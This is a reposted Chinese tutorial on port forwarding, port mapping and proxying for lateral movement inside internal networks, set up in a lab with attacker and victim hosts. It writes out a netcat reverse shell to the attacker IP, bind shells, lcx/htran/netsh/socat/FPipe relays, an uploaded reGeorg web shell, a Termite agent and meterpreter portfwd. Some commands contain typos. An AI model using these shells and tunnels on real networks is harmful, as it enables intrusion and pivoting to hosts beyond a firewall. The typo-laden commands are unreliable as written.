干货|内网渗透之端口转发端口映射

article/2025/10/27 6:09:49

文章转自乌云安全公众号,对我帮助比较大,欢迎老铁们关注
端口转发

端口转发,有时被叫做隧道,是安全壳为网络安全通信使用的一种方法。端口转发是转发一个网络端口从一个网络端口转发到另一个网络端口或从一个网络节点转发到另一个网络节点的行为,其使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内网)上的一个端口。

简要说明:端口转发就是将一个端口,这个端口可以本地的端口也可以是访问到任意主机的端口,转发到任意一台可以访问的IP上,通常这个IP是公网IP。

端口映射

将内网的端口映射到公网的某个端口,就是将这个端口的流量转发到公网主机上的某个端口。当别人访问这个被转发到公网上的端口,那么公网主机的被转发端口流量将发回给内网主机。

两种不同的应用场景

端口映射:外网主机A想访问内网主机B上的服务
端口转发:外网主机A已经可以访问内网主机B里的任意端口,但是无法访问内网主机C上的端口,此时可以将C主机的端口转发到主机B端口,那么外网主机A访问了内网主机B就等于访问了内网主机C。

在这里插入图片描述区分正向与反向连接

  • 正向连接:你的机器连接到目标机器
  • 反向连接:目标机器反连你的机器
  • 不论映射还是转发,都有正有反,原理相同

端口转发和代理工具

  • lcx
  • htran
  • netcat
  • …………….

内网常遇见到的状况

  • A攻击者
  • B内网主机
  • C内网主机
  • B能访问外网允许所有端口访问(罕见)
  • B只允许指定端口被访问,其他端口不允许访问
  • B能被A访问,但是C不能被直接访问
1.目标处于网络边界,内外网都可以访问,网络边界主机未安装防火墙,所有端口都对互联网开放,此类业务场景已经极少出现;
2.目标处于内网,可以访问外网,但是出口部署的有防火墙策略限制外部网络直接访问内网的敏感端口(3389、22、445等);
3.目标处于内网,不能访问外网,但是可以访问边界主机,防火墙策略限制外部网络直接访问内网的敏感端口(3389、22、445等)。

常见操作
环境:受害机内访问外网,允许所有端口被直接访问,攻击机处于外网

正向反向:反向

PS:这里的192.168.1.104为攻击机IP

攻击机执行:

nc -lvp 4444

受害机执行:

nc -e cmd 192.168.1.104 4444

在这里插入图片描述环境:受害机内访问外网,允许所有端口被直接访问,攻击机处于内网

正向反向:正向

PS:这里的192.168.1.104属于受害机IP

受害机执行:

nc -lvp 4444 -e cmd

攻击机执行

nc 192.168.1.104 4444

在这里插入图片描述
环境:攻击机无法访问内网主机,但内网主机可以访问外网

IP:192.168.241.155 为内网主机

IP:192.168.1.104 为外网主机

内网主机执行:

1、lcx -slave [远程IP][转发到的远程端口] [本机IP] [本机要转发的端口]
2、lcx -salve 192.168.1.104 4444 192.168.241.155 3389

外网主机执行

lcx -listen [监听的端口] [从接收到的数据的端口转发到另外一个端口]
lcx -listen 4444 5555

在这里插入图片描述在这里插入图片描述环境:攻击机可以直接访问到内网主机B,但是无法访问内网主机C

IP:192.168.241.155 为内网主机C

IP:192.168.241.129 为内网主机B

IP:192.168.1.104 为攻击机

在内网主机B执行

lcx -tran 4444 192.168.241.155 3389

在内网主机b连接本地的4444端口或公网访问192.168.241.129:4444

在这里插入图片描述
环境:攻击者可以直接访问内网机器B,当防火墙禁止3389连接。内网机器B也可以访问外网
IP:192.168.69.41 攻击机

IP:192.168.69.43 内网机器B

在内网机器B执行

Htran.exe -tran 4444 127.0.0.1 3389

将B的3389转为本地的4444端口
在这里插入图片描述方法2:
攻击机执行

htran -p -listen 8888 9999
htran -p -listen [监听本机的8888端口] [将流量转发到本地的9999]

内网主机执行

htran -p -slave 192.168.69.43 8888 127.0.0.1 3389
htran -p -slave [攻击机IP] [攻击机所监听的端口] [本机IP] [本机要转发的端口]

在攻击机执行:
在这里插入图片描述代理

代理(Proxy),也称网络代理,是一种特殊的网络服务,允许一个网端(一般为客户端)通过这个服务与另一个网络段(一般为服务器)进行非直接的连接。一些网关、路由器等网络设备具备网络代理功能。一般认为代理服务有利于保障网络终端的隐私或安全,防止攻击。

代理的分类

  • HTTP代理
  • SOCKS代理
  • FTP代理
  • Telnet代理
  • SSL代理

区分正向代理和反向代理
正向代理中,proxy和client同属一个LAN,对Server透明

反向代理中,proxy和server同属一个LAN,对Client透明

一个代理的是客户端一个代理的是服务端
在这里插入图片描述reGeorg+Proxychains代理
reGeorg下载地址:https://github.com/sensepost/reGeorg

根据对应的脚本类型将对应的脚本上传到目标机,注意php的要上nosocket.php的。然后访问该php出现Georg says,All seems fine代理成功
在这里插入图片描述
使用的py2需要安装urllib3模块

在攻击机执行

python2 reGorgSocksProxy.py -u http://127.0.0.1:81/gg.php -p 8888

在这里插入图片描述使用Proxifier代理指定的程序,比如我要通过代理来连接目标的3389.那么就设置代理mstsc
Proxifier下载地址:http://soft.onlinedown.net/soft/971579.htm

PHP必失败
在这里插入图片描述EW和PS1那个就不测了,EW太老了,没的下载,ps1 powershell杀烂

端口转发和代理常用的工具
在这里插入图片描述netsh端口转发
环境:内网主机没部署防火墙,可连接外网,任意端口可连

IP:192.168.1.104 攻击机

IP:192.168.241.155 受害机

在受害机执行

netsh add v4tov4 listenport=5555 connectaddress=192.168.241.155 connectport=3389

然后在外网连接IP:5555
在这里插入图片描述netsh查看配置

netsh interface portproxy dump

在这里插入图片描述删除命令

netsh interface portproxy delete v4tov4 listenport=555

在这里插入图片描述socat的使用

socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版。socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等。
工具地址:http://www.dest-unreach.org/socat

安装socat

apt install socat

IP:192.168.241.152 kali

IP:192.168.241.155 windows server 2008

在kali执行

PS:监听5555端口的流量然后转发给192.168.241.155:3389端口

socat TCP4-LISTEM:5555,reuseaddr,fork TCP4:192.168.241.155:3389

在这里插入图片描述
访问192.168.241.152:5555就可以访问到RDP
在这里插入图片描述Termite

工具在多种操作系统下均有Agent实现,由于代码为标准C实现,所以未来还将有更多的平台被支持。Agent节点可相互连接,进而形成一条树状管理拓扑,依赖该拓扑结构,使用者可实时管理拓扑中的任意主机节点。管理员可通过Admin程序,对拓扑中的任意节点进行管控,包括但不限于文件传输/控制台命令执行/开启远程 SOCKS5 代理服务/远程端口转发等功能。

IP:192.168.241.152 kali

IP:192.168.241.155 windows server 2008(跳板机)

IP:192.168.1.104 attack-windows7

在kali执行
在这里插入图片描述在2008执行

C:\Users\Administrator\Desktop\Termite>agent_Win32.exe -c 192.168.241.152 -p 5555

在这里插入图片描述在windows7执行

H:\端口转发_自己\Termite>admin_Win32.exe -c 192.168.241.152 -p 5555
在这里插入图片描述
然后记下kali,2008的ID
在这里插入图片描述2008的ID
在这里插入图片描述然后在attack设置节点2来做为跳板,将192.168.1.1的80端口映射到本机的4444端口

show #查看节点
goto 2 #设置节点
lcxtran 4444 192.198.1.1 80 #映射到本机

在这里插入图片描述
访问127.0.0.1:4444
在这里插入图片描述wireshark抓到的包
在这里插入图片描述反正我觉得复杂的一批…

FPipe的使用
环境:外网主机能访问内网主机B但不能访问内网主机C

FPipe.exe -l 4444 -r 80 192.168.251.254
Fpipe.exe -l [转发到本地的端口] -r [被转发的端口] [被转发的IP]

在这里插入图片描述
访问测试
在这里插入图片描述
meterpreter中的portfwd
在收到meterpreter中执行portfwd

portfwd add -l 3388 -r 192.168.241.155 -p 3389
portfwd add -l [转发到本地的端口] -r [目标的IP] -p [目标的端口]

在这里插入图片描述连接本地的3388
在这里插入图片描述
ssh正向TCP端口加密转发

又称ssh本地端口转发。SSH 会自动加密和解密所有SSH 客户端与服务端之间的网络数据。但是,SSH 还能够将其他TCP 端口的网络数据通过SSH 链接来转发,并且自动提供了相应的加密及解密服务。这一过程也被叫做“隧道”(tunneling),这是因为SSH 为其他TCP 链接提供了一个安全的通道来进行传输而得名。例如,Telnet,SMTP,LDAP 这些TCP 应用均能够从中得益,避免了用户名,密码以及隐私信息的明文传输。而与此同时,如果工作环境中的防火墙限制了一些网络端口的使用,但是允许SSH 的连接,也能够通过将TCP 端口转发来使用SSH 进行通讯。

修改/etc/sshd_config

AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes 保持心跳,防止 ssh 断开
PasswordAuthentication yes
PermitRootLogin yes

命令原型

ssh -CfNg -L 8080:127.0.0.1:2222 user@ip //VPS 本地访问VPS:8080就是内网的22端口
-C:该参数将使ssh压缩所有通过Secure Shell客户端发送的数据,包括输入、输出、错误消息及转发数据。它使用gzip算法,压缩级别可通过设置配制文件中的参数Compressicn Level来指定。这对于缓慢的传输线路特别有用的。但对于传输速度已经很快的网络则显得没有必要。同样,你可以利用配制文件针对每台主机配置这个参数。
-f:该参数将ssh连接送入后台执行。这在验证已经完成且TCP/IP转发已经建立的情况下会生效。这对在远程主机上启动X程序显得十分重要。其后用户将被提示要求输入口令(提供的认证代理不运行),然后将连接送往后台。
-g:该参数允许远程主机通过端口转发与主机端口相连,通常情况下仅允许本地主机这样做。
-N:不执行远程指令。
-R:远程转发
-L:本地转发
-D:动态转发,即socks代理
-p:指定远程ssh服务端口
-n:后台运行
-p:安静模式,不要显示任何debug信息

然后执行

service ssh start或service ssh restart
ssh -CfNg -L [本地端口]:[被转发的IP]:[被转发的端口] [ssh用户]@[IP]
ssh -CfNg -L 4444:192.168.241.155:3389 root@192.168.241.152

在这里插入图片描述连接本地的4444端口
在这里插入图片描述


http://chatgpt.dhexx.cn/article/38m51Vjj.shtml

相关文章

简单的端口映射教程

https://zhuanlan.zhihu.com/p/43233032 0x00 本文目的 最近写了两篇文章,一篇是在Windows下搭建Z-blog博客,一篇是在树莓派上搭建Wordpress博客,其实还有一篇,不过和建站没关系,如果真的有人跟着教程做了&#xff0…

什么是端口映射?内网端口映射工具推荐

上网的环境大多是通过路由器上网,它就像是一道门,如果想让外网访问,需要在路由器把相应服务的端口开放,这就是端口映射。 但是实际的情况是我们映射了端口外网也无法访问,并不是映射的方法不对,而是我们的…

内网穿透小知识|什么是端口映射?端口映射使用操作指南

工作中,有时需要在外网中访问自己的内网电脑或者服务器,这个时候就需要做端口映射,将自己电脑的内网端口映射到外网才能访问。 “端口”可以理解为是设备与外界通讯交流的出口,端口映射就是将一台主机的内网IP地址映射成一个公网…

内网端口映射

内网端口映射 我们首先使用路由器通过的内外网映射实现功能。首先通过终端浏览器连接到路由器管理界面,一般路由器的登录地址为:192.168.0.1或者192.168.1.1,具体地址一般路由器机盒上会有标注,同时还有初始用户名和密码用来登录。…

简单的走迷宫小游戏(C语言编写,无指针,无链表)

目录 前言 代码编写思路 1.光标移动函数 2.地图 3.人物的移动(核心) 4.菜单、结束语句 5.附完整代码: 总结 优点: 缺点: 前言 笔者乃初学C语言,萌新一枚。深感C语言之博大,自叹所学之浅薄…

贪吃蛇小游戏——C语言编写

文章目录 1.效果展示2.设计思路2.1图案显示2.2蛇头的移动2.3食物的生成2.4蛇身体的生成与移动2.5判断是否撞墙和打印得分 3.完整代码 1.效果展示 2.设计思路 2.1图案显示 利用二维数组构建图案,总共有墙壁,蛇头,蛇身,食物&#…

用C语言编写贪吃蛇小游戏

实现功能 蛇最开始三节,向右移动。用户可以通过按上下左右来控制蛇的移动,食物随机产生,蛇吃到食物后蛇的身体会变长。蛇撞墙或者撞到自己身体后,游戏结束。 怎么实现 要实现一个贪吃蛇小游戏,首先要想清楚游戏里有…

用C语言编写2048游戏

2048_C_code 用C语言编写的2048 1 要实现我们的 2048 小游戏,需要涉及一些数据结构的知识,以及一些 Linux 的系统调用。此外,为了方便在屏幕上使用字符绘图,我们还需要使用一个文本界面的屏幕绘图库 ncurses ,具体到…

C语言编写猜数字小游戏

C语言编写猜数字小游戏 经过对C语言的初步学习,为提高编程能力,可以敲一些稍费脑筋的代码,猜数字就是一个很好的选择。要想实现该游戏,那么首先我们应该知道制作的大体思路。 电脑应随机产生一个数字(为便于玩家猜的…

C语言编写2048小游戏

一、原理 这里以向上移动为例,其他方向的移动类似。 因为纵向移动不会横向变化,所以可以单独拿出某一列来分析。 我们先假设一个具有代表性的例子,假设当前某列数据是【2】【0】【2】【8】(0代表空白),如…

Linux C语言编写2048小游戏

2048 2048小游戏是用Linux C语言写的,运行在Ubuntu系统上,其中Ubuntu链接Ncuses库。首先,我们简单了解一下Ncurses。 Ncurses库是由原CURSES库发展而来的,这个库提供了C/C对屏幕以及光标、鼠标访问的特性。使得C/C简易写屏成为可能…

C语言编写小游戏:MinesWeeper(扫雷)闯关版

《扫雷》:大众类的益智小游戏,游戏目标是在最短的时间内根据点击格子出现的数字找出所有非雷格子,同时避免踩雷,踩到一个雷即全盘皆输。 话不多说,我们直接进入正题。 首先,我们得给用户显示一个菜单栏&…

(C语言)用C语言编写小游戏——三子棋

目录 三子棋效果展示 三子棋的功能实现 1、初始化棋盘格 2、打印棋盘 3、玩家下棋 4、电脑下棋 5、判断输赢(玩家赢/电脑赢/平局) 完整代码展示 三子棋小游戏的代码实现分为三个文件,test.c(测试游戏功能)、ga…

c语言编写的小游戏(c语言编写小游戏入门)

C语言编写是要注意什么? 因此,在编写选择语句之前,应该首先明确判断条件是什么,并确定当判断结果为“真”或“假”时应分别执行什么样的操作(算法) c语言编写小游戏请提供俄罗斯方块,坦克大战之类的小游戏的程序的c 应…

(C语言)用C语言编写小游戏——扫雷

目录 扫雷效果展示 扫雷的功能实现 1、初始化棋盘格 2、 打印棋盘 3、布置雷 4、排查雷 完整代码展示 扫雷小游戏的代码实现分为三个文件,test.c(测试游戏功能)、game.h(头文件的包含和函数的声明)、game.c&…

详解5个C语言简单易懂小游戏

文章目录 前言一、准备工作二、游戏菜单三、游戏内容1.猜数字2.三子棋3.扫雷4.五子棋5.飞行棋 总结 前言 我们通过5个简单易懂的小游戏来加强我们对C语言的认识,这五个小游戏不仅有单人,还有人机对战和人人对战。让我们在学习之余来上一局紧张刺激的小游…

C语言趣味小游戏——扫雷(详解版)

前言 ​ 全篇无任何废话,本文的解释大多数都在代码段中,所以一定要看代码,边看边学边理解。 这只是初学者入门的一个小游戏,不难懂,没有什么复杂的内容 可以先学习一下比扫雷还简单的猜数字和三子棋 C语言趣味小游戏—…

C语言小程序游戏

c语言小程序游戏 ​ 本代码是我大一刚学完c语言自己编写的,三个游戏分别是飞机竞速、走迷宫和魔塔,满满的都是回忆。 1、不可能的任务-飞机竞速 ​ 这种游戏在以前小时候玩的游戏机里面玩过,那时抱着个游戏机一玩就是一下午,如…

C语言简易小游戏

文章目录 前言一、猜数字游戏二、旋转光标三、多个字符从两端移动,向中间汇聚四、恶搞:关机小程序五、闪烁的五彩爱心六、扫雷七、三子棋 前言 本篇博客将带领大家自己动手写一下一些C语言小游戏;以增加对于C语言的兴趣😀&#x…

c语言成绩管理系统(链表)

C语言实现了学生成绩管理系统,可以进行学生成绩的增加,删除,修改,查询,计算平均成绩和展示。 开发语言:C语言 开发工具:Dev c 开发者:呵呵up 创建学生成绩信息 2. 插入学生信息 3.…